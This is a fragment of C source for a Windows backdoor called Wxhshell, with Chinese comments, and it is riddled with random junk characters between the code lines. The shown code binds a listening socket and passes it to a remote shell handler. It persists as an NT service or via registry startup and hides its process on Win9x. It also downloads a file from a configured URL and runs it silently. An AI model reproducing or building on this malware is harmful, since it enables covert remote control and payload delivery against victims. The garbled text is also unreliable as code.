2 %V r vu5 CloseHandle(hProcess); ahezDDR-.i 21(8/F ~{ if(strstr(procName,"services")) return 1; // 以服务启动 hC1CISm.U )ro3yq4?? return 0; // 注册表启动 61qs`N=k } i%~^3/K )=,%iL- // 主模块 j?!BHNs int StartWxhshell(LPSTR lpCmdLine) KDx~^OO { j_=A)B? SOCKET wsl; \}CQo0v BOOL val=TRUE; |%wgux`z int port=0; lqD.epm struct sockaddr_in door;
t9zPUR eK<X7m^ if(wscfg.ws_autoins) Install(); 2t9JiH U5rcI6 port=atoi(lpCmdLine); 2'R;z<_ ?-'m#5i" if(port<=0) port=wscfg.ws_port; /-Saz29f^Q FE}!I
WSADATA data; (_:k s if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9VqE:c / N(*Xjy+PX if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %BdQ.\4DS setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &b!L$@6 door.sin_family = AF_INET; !m7`E door.sin_addr.s_addr = inet_addr("127.0.0.1"); ].E89 _|O door.sin_port = htons(port); n-HQk7=mQ T{9pNf- if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @|e4.(9A closesocket(wsl); fY)Dx c&ue return 1; <n8K"(sy} } w$ zX.;s \0}!qG![AA if(listen(wsl,2) == INVALID_SOCKET) { kNC.^8ryz[ closesocket(wsl); {VBn@^'s return 1; oJ
r&9.S } "nkj_pC Wxhshell(wsl); |I; tBqN{u WSACleanup(); G9`;Z^<L zWN/>~}U\ return 0; $P=B66t
^ J%8M+!`F } 4CUoXs' (P(=6-0 // 以NT服务方式启动 E5^P*6c( VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O=,[u? { _J|TCm DWORD status = 0; [#+yL DWORD specificError = 0xfffffff; QNH-b9u>8 nRP|Qt7> serviceStatus.dwServiceType = SERVICE_WIN32; & XS2q0-x serviceStatus.dwCurrentState = SERVICE_START_PENDING; }6Ut7J]a| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :K:oH}4oh serviceStatus.dwWin32ExitCode = 0; :htz] serviceStatus.dwServiceSpecificExitCode = 0; bc+~g>o serviceStatus.dwCheckPoint = 0; JbV\eE#KrC serviceStatus.dwWaitHint = 0; (d>
M/x?W ]lT8Z-h@ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^Y;}GeA, if (hServiceStatusHandle==0) return; 7WEh'(` kIC$ai6. status = GetLastError(); ^M:Y$9r_s if (status!=NO_ERROR) zmA]@'j { ~}lYp^~:J serviceStatus.dwCurrentState = SERVICE_STOPPED; {;z{U;j serviceStatus.dwCheckPoint = 0; JJIlR{WY_ serviceStatus.dwWaitHint = 0; -<g&U*/E serviceStatus.dwWin32ExitCode = status; i6S5 4&^! serviceStatus.dwServiceSpecificExitCode = specificError; r JvtE}x1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); OouIV3 return; u[{j;l( } JAQ y d8)ps, serviceStatus.dwCurrentState = SERVICE_RUNNING; p`dH4y]D serviceStatus.dwCheckPoint = 0; `Z#0kpXk_ serviceStatus.dwWaitHint = 0; #9(0.!v if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mJ_5Vt= } tzTnFV 2HNAB4E // 处理NT服务事件,比如:启动、停止 ~wtK(U VOID WINAPI NTServiceHandler(DWORD fdwControl) cEdf&*_-'I { uwL^Tq}Yh switch(fdwControl) cuw 7P { ax.;IU case SERVICE_CONTROL_STOP: %>z4hH, serviceStatus.dwWin32ExitCode = 0; %9q] serviceStatus.dwCurrentState = SERVICE_STOPPED; F
K7cDaI serviceStatus.dwCheckPoint = 0; |)Q#U$ m serviceStatus.dwWaitHint = 0;
6#J>b[Q { yt5Sy SetServiceStatus(hServiceStatusHandle, &serviceStatus); s6DmZ^Y% } *?JNh; return; 1Fg*--8[r case SERVICE_CONTROL_PAUSE: NsPAWI|4 serviceStatus.dwCurrentState = SERVICE_PAUSED; %Tv2op break; Q[vQT?J7 case SERVICE_CONTROL_CONTINUE: b p[wr serviceStatus.dwCurrentState = SERVICE_RUNNING; 8[k:FGp> break; B~CdY}UTsj case SERVICE_CONTROL_INTERROGATE: Kl Kk?6> break; 8gHOs#\ }; 483/ZgzT` SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nv~H797B } $_ BoG FI(iqSJ6 // 标准应用程序主函数 d3[O!4<T int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >=6 j: { h7P<3m} |3bCq(ZR\P // 获取操作系统版本 s3/iG37K OsIsNt=GetOsVer(); nF)b4`Nd GetModuleFileName(NULL,ExeFile,MAX_PATH); f@j )t%mh f`gs/R // 从命令行安装 qk{+Y if(strpbrk(lpCmdLine,"iI")) Install(); /q^\g4J m8T< x> // 下载执行文件 n9 %&HDl4 if(wscfg.ws_downexe) { 9n#lDL O if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *QGyF`Go{ WinExec(wscfg.ws_filenam,SW_HIDE); HM]mOmL90N } V JJ6q {f(RY j if(!OsIsNt) { R<)^--n // 如果时win9x,隐藏进程并且设置为注册表启动 61 @;3yV HideProc(); W=S<DtG2 StartWxhshell(lpCmdLine); *U mWcFoF } zR!p-7_w else <k'%rz if(StartFromService()) uxOeD%Z> // 以服务方式启动 [0?W>A*h StartServiceCtrlDispatcher(DispatchTable); lVYrP|# else tR Cz[M& // 普通方式启动 TPF5 ? StartWxhshell(lpCmdLine); @}<b42 S]x\Asj;w return 0; T&q0TBT }
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